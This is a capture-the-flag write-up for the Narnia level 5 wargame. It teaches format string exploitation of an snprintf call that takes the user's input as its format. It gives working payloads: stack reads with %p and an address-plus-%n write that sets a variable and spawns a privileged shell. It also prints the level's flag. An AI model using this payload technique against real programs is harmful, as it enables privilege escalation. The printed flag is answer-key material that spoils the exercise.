Writeup
narnia05.c content :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
What snprintf
really does? And how we can establish a methodology to solve this types of attack?
Let’s start seeing how snprintf can be used in a normal program
#include <stdio.h>
#include <string.h>
int main()
{
int x=10;
int y=20;
char buffer[60];
printf("sizeof(buffer) : %ld\n",sizeof(buffer));
// Fill with \0 (string terminator) the buffer
strncpy(buffer,"\0",sizeof(buffer));
// copy in buffer the output of the printf function
snprintf(buffer,sizeof(buffer),"AAAA\n");
printf("buffer :\n%s\n");
return 0;
}
Output
60
buffer :
AAAA
We can use snprintf
in an other way too
#include <stdio.h>
#include <string.h>
int main()
{
int x=10;
int y=20;
char buffer[60];
printf("sizeof(buffer) : %ld\n",sizeof(buffer));
// Fill with \0 (string terminator) the buffer
strncpy(buffer,"\0",sizeof(buffer));
// copy in buffer the output of the printf function
snprintf(buffer,sizeof(buffer),"AAAA %d\n%d\n",x,y);
printf("buffer : %s\n",buffer);
return 0;
}
Output
sizeof(buffer) : 60
buffer : AAAA 10
20
As we expected the snprintf will recognize the %d
and sobstitute it with the value of x
and y
.
But, wait a second. In our program we have only
snprintf(buffer,sizeof(buffer),argv[1])
What happen when we use in argv[1]
the format %d
without any variable referencing to the format ? To answer this question we need to know how the parameters are pushed on the stack when a function is called. In x86 and if the program is compiled with gcc
the parameters are pushed on the stack from right to left. In the example I made the stack will be :
0xffffffd2 | buffer address |
0xffffffd3 | <60> |
0xffffffd4 | format address |
0xffffffd5 | <10> |
0xffffffd6 | <20> |
0xffffffd7 | something0 |
0xffffffd8 | something1 |
0xffffffd9 | something3 |
In narnia5 however we have
0xffffffd2 | buffer address |
0xffffffd3 | <60> |
0xffffffd4 | format address |
0xffffffd5 | something0 |
0xffffffd6 | something1 |
0xffffffd7 | something2 |
0xffffffd8 | something3 |
0xffffffd9 | something4 |
And when we use as argv[1] %d %d %d
we will print the value of something0,something1,something2
. In this case we can read all the variables on the stack :D, but how we can modify one ? In this case i
?
If we have to do a format string attack, we can use some techniques well known that permits to solve vulnerable program like this one easily without headache
.
I’ll try to explain these techniques.
In our program the buffer is printed on the stdout so we don’t need to use a debugger to check how the stack is organized. The first thing to do is to use this argument : $(python -c 'print "AAAA"+"%p."*10')
to see what the snprintf
put on the buffer. If executing the program we have an output like this :
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "AAAA"+"%p."*6')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA0x31347830.0x31343134.0x302e3134.0x41414141.0x33313234.0x33] (63)
i = 1 (0xffffd6c0)
Then the stack will be :
0xffffffd2 | buffer address | ------|
0xffffffd3 | <64> | |
0xffffffd4 | argv[1] address | |
0xffffffd5 | something0 | |
0xffffffd6 | something1 | |
0xffffffd7 | something2 | |
0xffffffd8 | something3 | <-----|
0xffffffd9 | something4 |
0xffffffda | something5 |
And after the snprintf
will become
0xffffffd2 | buffer address | ------|
0xffffffd3 | <64> | |
0xffffffd4 | argv[1] address | |
0xffffffd5 | something0 | |
0xffffffd6 | something1 | |
0xffffffd7 | something2 | |
0xffffffd8 | 0x41414141 | <-----|
0xffffffd9 | something4 |
0xffffffda | something5 |
It means that the AAAA
is read from the printf as 4th argument. However this is just a case I built up by myself to show how we can exploit the snprint
to read the stack. In our case if we have execute the same payload we have that the AAAA
is read from the printf as 1st argument. It means that the stack will be :
0xffffffd2 | buffer address | ------|
0xffffffd3 | <64> | |
0xffffffd4 | argv[1] address | |
0xffffffd5 | buf[0] | <-----|
0xffffffd6 | something1 |
0xffffffd7 | something2 |
0xffffffd8 | something3 |
0xffffffd9 | something4 |
0xffffffda | something5 |
Executing narnia5
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "AAAA"+"%p."*10')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA0x41414141.0x31347830.0x31343134.0x302e3134.0x33313378.0x33] (63)
i = 1 (0xffffd6c0)
So now what if we write instead of AAAA
the address of i
?
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff"+"%p."*10')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����0xffffd6c0.0x66667830.0x36646666.0x302e3063.0x36363678.0x33] (63)
i = 1 (0xffffd6c0)
The stack after the snprintf
will be
0xffffffd2 | buffer address | ------|
0xffffffd3 | <64> | |
0xffffffd4 | argv[1] address | |
0xffffffd5 | 0xffffd6c0 | <-----|
0xffffffd6 | something1 |
0xffffffd7 | something2 |
0xffffffd8 | something3 |
0xffffffd9 | something4 |
0xffffffda | something5 |
Mhh…OK, but what’s the point?
Well, using %n
we can overwrite into an address that the printf takes as an argument the number of characters written so far
printf("12345678911111",&i)
Will write into i
the value 14
.
In our case we need to put into i
500, so the payload will be :
{[4 bytes(address of i)]+["%(500-4)x"]+["%n"]}
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff"+"%496x"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [���� ] (63)
i = 1 (0xffffd6e0)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff"+"%496x"+"%n"')
Segmentation fault
If you’re using %n
into an invalid address the program will go in segfault because it tries to write into an address that is not in memory or it is of another process. We can see that the address of i
is changed, we can try to change the address of i
and check if it works.
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff"+"%496x"+"%n"')
Segmentation fault
Still segmentation fault, why?
Because instead of writing into 0xffffd6e0
we are trying to write into the address next to it into the stack. BUT, why before I calculated the ‘offset’ or ‘argument’ of the snprintf
function? Because we can use that offset to specify in the %n
which argument to consider.
Example :
#include <stdio.h>
int main()
{
int x=5;
int y=10;
printf("second value %2$d\n first value %1$d\n",x,y);
return 0;
}
Output :
second value 10
first value 5
So our final payload will be :
{[4 bytes(address of i)]+["%(500-4)x"]+["%(offset)$n"]}
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff"+"%496x"+"%1$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
There are other techniques that will be explained in narnia7 :D but don’t be afraid
Flag:
neezocaeng